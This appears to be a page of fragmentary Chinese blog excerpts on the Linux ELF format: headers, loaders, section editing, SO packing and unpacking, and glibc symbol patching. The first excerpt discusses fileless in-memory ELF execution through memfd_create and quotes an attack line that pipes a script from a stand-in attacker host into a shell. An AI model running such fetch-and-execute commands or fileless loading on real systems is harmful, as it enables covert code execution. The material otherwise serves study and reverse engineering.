exe抓样本等,但是攻击者是否会通过某种类似于curl http://attacker.com/1.sh | sh的方法来执行elf二进制文件呢?...这就是可以被攻击者所利用的,如果有办法将需要执行elf通过memfd_create(2)写入内存中进行执行的话就可以达到我们的目的。 ?...这里还有一个问题,如何将elf二进制文件写入到创建的文件当中,@MagisterQuis这里使用open函数将$FH内容添加进创建的匿名文件$fd当中,而$FH通过perl转化自要执行的elf文件,这就是该脚本的第二部分...可以看到我们的elf文件最终以匿名文件的方式在内存中被加载执行了,从匿名文件运行的程序与运行于普通文件的程序之间唯一真正的区别是/proc/pid/exe符号链接。...参考: https://magisterquis.github.io/2018/03/31/in-memory-only-elf-execution.html http://man7.org/linux
ELF头部的结构体为 elf32_hdr 或 elf64_hdr, 在Android系统源代码的 /bionic/libc/kernel/uapi/linux/elf.h 可以找到。...ET_EXEC 指的是可执行程序, 存在程序入口, 有 Program Header, 可以加载到内存中运行, 在 Linux 下的可执行程序都是这样的。 ET_DYN 特指动态链接库。...e_entry Offset: 0x18 Length: 4 (32bits) Type: unsigned int ELF程序的入口虚拟地址。仅用于可执行程序加载完成后,从此处开始执行进程指令。...与实际SO库中代码的指令执行相关,不允许修改。...作者的话 个人喜欢计算机技术,主要涉及的领域包括:Android系统,Linux内核,嵌入式软/硬件,机器人和智能硬件。同时也对其他的各个技术栈都感兴趣。
ELF 文件载入内存并执行。...and Linkable Format) 所谓的 ELF 文件,翻译过来就是“可执行与可链接文件”,是一种用于二进制文件之间相互调用的可执行文件格式,通过链接即可引入调用,拥有非常强大的可扩展性和灵活性...在 linux 中,可执行文件、Object文件、动态库文件都是ELF格式文件,他相当于 windows 操作系统中的 PE 文件。 通过 readelf 命令可以读取 ELF 文件的内容。 3....别忘了我们的目标,我们需要通过汇编语言编写的 loader 程序将在 linux 环境上编译的 C 语言内核程序载入到内存并执行,因此,实际上我们只需要知道 ELF 文件需要如何被载入内存,并从哪里开始执行...也就是说,我们通过 ELF header 中的字段,找到 Program Header Table,然后读取每个 Program Header,将对应的段载入到内存指定的位置,然后跳转,即可实现可执行文件的执行了
文章目录 一、ELF 文件类型 ( 动态库文件 ) 二、ELF 文件对应 CPU 架构 三、ELF 目标文件版本 四、可执行程序起始地址 一、ELF 文件类型 ( 动态库文件 ) ---- ELF 文件头...第 16 ~ 17 字节 : ELF 文件类型 , 动态库文件 / 可执行文件 / 静态库文件 / 链接文件 ; 03 00 表示该 ELF 文件是动态库文件 ; 03 00 小端格式 , 低位在低地址...: 目标文件版本 ; 默认值 1 ; 01 00 00 00 小端格式 , 低位在低地址 , 值为 1 ; 四、可执行程序起始地址 ---- ELF 文件头 第 24 ~ 27 字节 : 如果 ELF...是可执行文件 , 应该从哪个地址开始执行代码 ; 该值在可执行 ELF 文件中才有意义 , 动态库文件没有意义 ; 00 00 00 00 小端格式 , 低位在低地址 , 值为 0 ; 当前解析的 ELF...文件是动态库文件 , 该值没有实际意义 , 设置 0 默认值 ; 动态库并不能独立执行 , 需要由外部加载执行 ;
压缩加密 技术原理类似桌面应用的「压缩壳」,将 SO 文件中的代码段压缩或加密,在入口函数中解密再执行。...无函数边界 通过链接器乱序再重定位,生成的指令块在可执行文件中的位置是随机的,函数保护后变成了无数个随机位置的指令碎片,无法知道函数的边界。...支持工具推荐 支持ARM 虚拟化保护方案的工具:Virbox Protector 开发环境支持 Windows、Linux、macOS。
要想在Linux系统上实现逆向工程,分析,设计或查杀病毒和恶意代码,你不得不深入掌握其可执行文件的ELF格式,这样你才能了解进程在内存空间的布局和运行的基本规律,这样你才能有针对性的设计有效的病毒或恶意代码入侵系统...ET_EXEC表示可执行文件,它是由多个.o文件链接起来,可以被加载到内存进行执行的进程数据文件;ET_DYN表示动态链接库,它里面包含一系列向外导出的函数代码,当进程需要调用其内部函数时会将其加载到内存...ELF格式的可执行文件在概念上由各种”段“组成,例如用于存储代码的文本段,用于存储数据的数据段等,这些段的数量和相关信息就由程序表头来描述,在加载运行ELF可执行文件时,系统会读取程序表头,获得各个段的信息...symtab对应符号表,它用于指导调试器或系统如何查找调试程序所需的各个符号;.cotrs和.dtors两个段各自包含一个指针,前者指针指向一段初始化代码,在进程的main函数执行前必须先执行初始化代码...,后者指向结束代码,当进程执行结束后,必须执行结束代码后进程才能完全被杀掉。
本质上,应该是把二进制文件当做 shell 文件来执行了,改掉红色方框的就可以了。 ?...Reference https://stackoverflow.com/questions/57446579/executable-says-line-1-elf-not-found-when-starts
文章目录 一、ELF 文件简介 二、ELF 文件结构 一、ELF 文件简介 ---- ELF 文件是 Executable and Linkable Format ( 可执行 和 可链接 格式 ) 的文件...; 链接 一般是在编译阶段 , 执行 一般是在运行阶段 ; 在这两个阶段都会用到 ELF 格式的文件 ; 参考 【C 语言】编译过程 分析 ( 预处理 | 编译 | 汇编 | 链接 | 宏定义 | 条件编译...| 编译器指示字 ) 博客 ; ELF 文件 对应的 Linux 中的目标文件格式有 : 库文件 , 可执行文件 , 编译中间文件 ; 编译中间文件有 .a , .o , .s 文件 ; 库文件 ,...可执行文件 , 编译中间文件 , 都是 ELF 格式的文件 ; 在 Android 应用运行时 , ELF 文件的大部分内容 , 会被 映射到内存中 ; 这就意味着 Android 应用内存中的很多数据..., 45 4C 46 是 ELF 字符对应的 ASCII 码 ; 二、ELF 文件结构 ---- ELF 文件由以下四部分组成 : ELF 文件头 ELF 程序头 : ELF 程序头 会告知 节区头部表的位置
关于ELF的链接视图和装载视图(执行视图)。在所有介绍ELF文件格式的文档中,都会出现这样一张图: ? Clipboard Image.png 当初看这张图并没有很深的认识。...详细解释如下(摘自ELF文件格式): 3.8.3 动态链接 3.8.3.1 程序解释器 可执行文件可以包含 PT_INTERP 程序头部元素。...因此,我们可以猜测,节区头部表在程序执行过程中并不会被用到,既然不会被用到,ELF头部中的e_shoff、e_shentsize、e_shnum和e_shstrndx可以随意修改而不会影响到程序执行。...总结ELF中可以被修改又不影响执行的区域 a. ELF头部中的:e_shoff、e_shentsize、e_shnum、e_shstrndx b. 整个section头部表 c....比如前面看雪那篇文章中提到的分离section方式加固中,因为修改了ELF头部中的section相关的字段,就会导致IDA打开报错。 这些区域可以用来存储自定义的内容,甚至是被移除来压缩ELF。
文章目录 一、ELF 文件简介 二、ELF 文件头 三、ELF 文件头标志 四、ELF 文件位数 五、ELF 文件大小端格式 一、ELF 文件简介 ---- 在上一篇博客 【Android 逆向】ELF...文件格式 ( 安装 010 Editor 二进制查看工具的 ELF.bt 插件模板 | 安装 ELF.bt 模板 | 打开 ELF 文件 ) 中 , 准备 ELF 文件解析环境 , 在 010 Editor...中安装了 ELF.bt 模板 ; 二、ELF 文件头 ---- ELF 文件头区域如下 : 前 16 字节是 ELF 的标志 , 三、ELF 文件头标志 ---- 0 ~ 3 字节 : 是 0x7F...和 ELF 的 ASCII 码 ; 这是 ELF 文件的特征 ; 四、ELF 文件位数 ---- 4 字节 : 表示该 ELF 文件的位数 32 位还是 64 位 ; 值为 01 , 表示该 ELF...文件是 32 位 文件 ; 五、ELF 文件大小端格式 ---- 5 字节 : 表示 有效位 格式 , 取值 LSB / MSB ; 此处值为 1 , LSB 格式 ; 这个值由编译器决定 ; 有些
使用alt+F7载入脚本,选择dump_elf64 等待 加载 成功以后,刚刚创建的dumpfile就是脱壳后的文件了。
转自:Soul Of Free Loop链接:https://zohead.com/archives/mod-elf-glibc/ Linux glibc 问题 相信有不少 Linux 用户都碰到过运行第三方...(非系统自带软件源)发布的程序时的 glibc 兼容性问题,这一般是由于当前 Linux 系统上的 GNU C 库(glibc)版本比较老导致的,例如我在 CentOS 6 64 位系统上运行某第三方闭源软件时会报...分析 ELF 首先用 readelf 命令查看 ELF 的符号表,由于该命令输出非常多,这里只贴出我们关心的信息: [root@centos6-dev ~]# readelf -sV tester Symbol...修改 ELF 符号表 由于 Linux 系统中的 LD 库(也就是 /lib64/ld-linux-x86-64.so.2 库)加载 ELF 时检查 .gnu.version_r 表中的符号,我们可以使用任何一款十六进制编辑器来修改...符号,保存 ELF 文件之后就可以看到效果了: [root@centos6-dev ~]# ldd tester linux-vdso.so.1 => (0x00007fffc17ee000
_Ehdr elf_head; int shnum, a; // 读取 head 到elf_head a = fread(&elf_head, sizeof(Elf64_Ehdr), 1, fp); if...(x) #define ELF32_ST_TYPE(x) ELF_ST_TYPE(x) #define ELF64_ST_BIND(x) ELF_ST_BIND(x) #define ELF64_ST_TYPE...elf32_note #define elf_shdr elf32_shdr #define elf_sym elf32_sym #define elf_addr_t Elf32_Off #ifdef...elfhdr elf64_hdr #define elf_phdr elf64_phdr #define elf_note elf64_note #define elf_shdr elf64_...shdr #define elf_sym elf64_sym #define elf_addr_t Elf64_Off #ifdef ELF_USES_RELOCA # define ELF_RELOC
不过网上的《Linux彻底定制指南》讲得非常详细,感兴趣的可以看一看。 四、交叉编译: 交叉编译(或交叉建立)是这样一种过程,它在一种机器结构下编译的软件将在另一种完全不同的机器结构下执行。...GCC中的一般工具通常都是通过在命令行上调用命令(如gcc)来执行的。在使用交叉编译的情况下,这些工具将根据它编译的目标而命名。...六、arm-linux-gcc和arm-elf-gcc: arm-elf-gcc跟arm-linux-gcc一样,也是是基于ARM目标机的交叉编译软件。...arm-linux-gcc使用GNU的Glibc,而arm-elf-gcc一般使用 uClibc/uC-libc或者使用REDHAT专门为嵌入式系统的开发的C库newlib。...关于两者的区别,请参考arm-linux-gcc arm-elf-gcc区别。
Linux可执行文件类型的注册机制 在说明ELF文件的加载过程以前,我们先回答一个问题,就是: 为什么Linux可以运行ELF文件?.../binfmts.h中 linux支持其他不同格式的可执行程序, 在这种方式下, linux能运行其他操作系统所编译的程序, 如MS-DOS程序, 活BSD Unix的COFF可执行格式, 因此linux...内核用struct linux_binfmt来描述各种可执行程序。...linux内核对所支持的每种可执行的程序类型都有个struct linux_binfmt的数据结构, 其提供了3种方法来加载和执行可执行程序 函数 描述 load_binary 通过读存放在可执行文件中的信息为当前进程建立一个新的执行环境...程序开始执行 具体的信息可以参照 Intel平台下Linux中ELF文件动态链接的加载、解析及实例分析(一): 加载 Intel平台下linux中ELF文件动态链接的加载、解析及实例分析(
文章目录 一、搜索并下载 ELF.bt 模板 二、安装 ELF.bt 模板 三、打开 ELF 文件 一、搜索并下载 ELF.bt 模板 ---- 进入 010 Editor 工具的插件模板下载页面 http.../010editor/repository/files/ELF.bt ; 可以在浏览器下载中 , 新建下载项 , 下载该 ELF.bt 文件 ; EXE.bt : 文件地址 https://www.sweetscape.com.../010editor/repository/files/DEX.bt 可以在浏览器下载中 , 新建下载项 , 下载该 ELF.bt 文件 ; 二、安装 ELF.bt 模板 ---- 选择 " 菜单栏.../ 模板 / 编辑模板列表 " 选项 , 在弹出的对话框中 , 新建一个模板 , 并指定模板对应文件 ; 三、打开 ELF 文件 ---- 选择打开 ELF 文件 : 打开文件后 , 选择 "...菜单栏 / 模板 / ELF 模板 " 选项 , 此时就可以在 模板结果 面板 , 看到 ELF 文件的四个组成部分 ;
hello.c -o tt /home/gl/usr/local/arm/4.3.2/bin/arm-linux-gcc: /home/gl/usr/local/arm/4.3.2/bin/arm-none-linux-gnueabi-gcc...: /lib/ld-linux.so.2: bad ELF interpreter: 没有那个文件或目录 /home/gl/usr/local/arm/4.3.2/bin/arm-linux-gcc...:行3: /home/gl/usr/local/arm/4.3.2/bin/arm-none-linux-gnueabi-gcc: 成功 [root@austgl gl]# yum install ld-linux.so....2 已加载插件:langpacks, presto, refresh-packagekit 解决依赖关系 --> 执行事务检查 ---> 软件包 glibc.i686.0.2.16-28.fc18...3.12.3),它被软件包 glibc-2.16-28.fc18.i686 需要 --> 处理依赖关系 libfreebl3.so,它被软件包 glibc-2.16-28.fc18.i686 需要 --> 执行事务检查
有用户反馈,下载EasyCVR安装程序,解压执行的时候提示其中lib文件错误无法执行程序。由于用户是纯内网环境,无法通过yum安装lib环境,于是向我们求助解决。...根据用户现场的网络环境,在本地部署环境执行程序之后,将所有lib文件打包给用户。用户可将lib文件直接解压在软件程序根目录下之后运行程序。把所有的lib文件放在软件目录下,执行.
背景介绍 Section 是 Linux ELF 程序格式的一种核心数据表达方式,用来存放一个一个的代码块、数据块(包括控制信息块),这样一种模块化的设计为程序开发提供了很大的灵活性。...Section 的操作在 Linux 内核中有着非常广泛的应用,比如内核压缩,比如把 .config 打包后加到内核映像中。 下面介绍三种新增 Section 的方式:汇编、C 和 ELF 工具。...通过内联汇编新增一个 Section 如何创建一个可执行的共享库 中有一个很好的例子: asm(".pushsection .interp,\"a\"\n" " .string \...o libhello.so hello.o 注意,必须加上 --set-section-flags 配置为 alloc,否则,程序头会不纳入该 Section,结果将是缺少 INTERP 程序头而无法执行...小结 以上主要介绍了 Linux ELF 核心数据表达方式 Section 的多种 add 和 update 用法,掌握这些用户可以利于理解 Linux 内核源码中类似的代码,也可以用于实际开发和调试过程去解决类似的需求
英文文档: http://www.cs.cmu.edu/afs/cs/academic/class/15213-f00/docs/elf.pdf 中文对照翻译文档: http://blog.chinaunix.net.../attachment/attach/26/40/46/9726404697228d82cda2af11366fa7722d3a4f1a58.pdf 使用010editor打开ELF文件,套用ELF模板
领取专属 10元无门槛券
手把手带您无忧上云